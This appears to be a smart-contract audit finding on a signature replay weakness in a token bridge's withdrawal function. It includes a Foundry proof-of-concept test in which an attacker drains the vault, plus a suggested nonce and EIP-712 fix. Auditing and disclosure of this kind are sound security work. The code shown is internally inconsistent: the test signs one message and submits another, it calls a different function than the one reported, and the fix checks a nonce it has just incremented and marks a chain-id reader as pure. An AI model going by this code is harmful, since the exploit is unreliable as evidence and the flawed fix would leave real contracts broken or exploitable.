Summary
In L1BossBridge::withdrawTokensToL1
the signature Replay attacks on withdrawls can lead to unauthorized spending or unintended consequences.
Vulnerability Details
The vulnerability arises from inadequate protection against signature replay attacks in the withdrawTokensToL1
function.
Impact
In L1BossBridge::withdrawTokensToL1
, signature replay attacks on withdrawals can result in unauthorized spending or unintended consequences.
POC
Deposit a certain amount of tokens into the bridge contract.
Get approval from the contract owner to be included in the signers mapping. This approval step is necessary to identify legitimate signers.
Now run the test and you will get this result Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.86ms
function testReplayAttack() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
uint256 attackerBeforeAmount = token.balanceOf(address(attacker));
console.log("Attacker Amount Before Withdrawal:", attackerBeforeAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
vm.startPrank(attacker);
tokenBridge.sendToL1(v, r, s, _getTokenWithdrawalMessage(attacker, depositAmount));
uint256 attackerAfterAmount = token.balanceOf(address(attacker));
assertTrue(attackerAfterAmount > attackerBeforeAmount, "Replay attack was successful");
console.log("Attacker Amount After Withdrawal:", attackerAfterAmount);
assertEq(token.balanceOf(address(vault)), 0);
vm.stopPrank();
}
Tools Used
Recommendations
To prevent replay attacks in the provided code, you can introduce a nonce and use Ethereum's EIP-712 standard for signing messages. Here's what you should do:
mapping(address => uint256) public nonces;
function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
uint256 nonce = nonces[msg.sender]++;
bytes32 messageHash = keccak256(
abi.encodePacked(
"\x19\x01",
getDomainSeparator(),
keccak256(abi.encodePacked(
address(this),
to,
amount,
nonce
))
)
);
address signer = ECDSA.recover(messageHash, v, r, s);
require(signers[signer], "Invalid signer");
require(nonce == nonces[signer], "Invalid nonce");
token.transferFrom(vault, to, amount);
}
function getDomainSeparator() public view returns (bytes32) {
return keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes("YourContractName")),
keccak256(bytes("1")),
chainId(),
address(this)
)
);
}
function chainId() internal pure returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}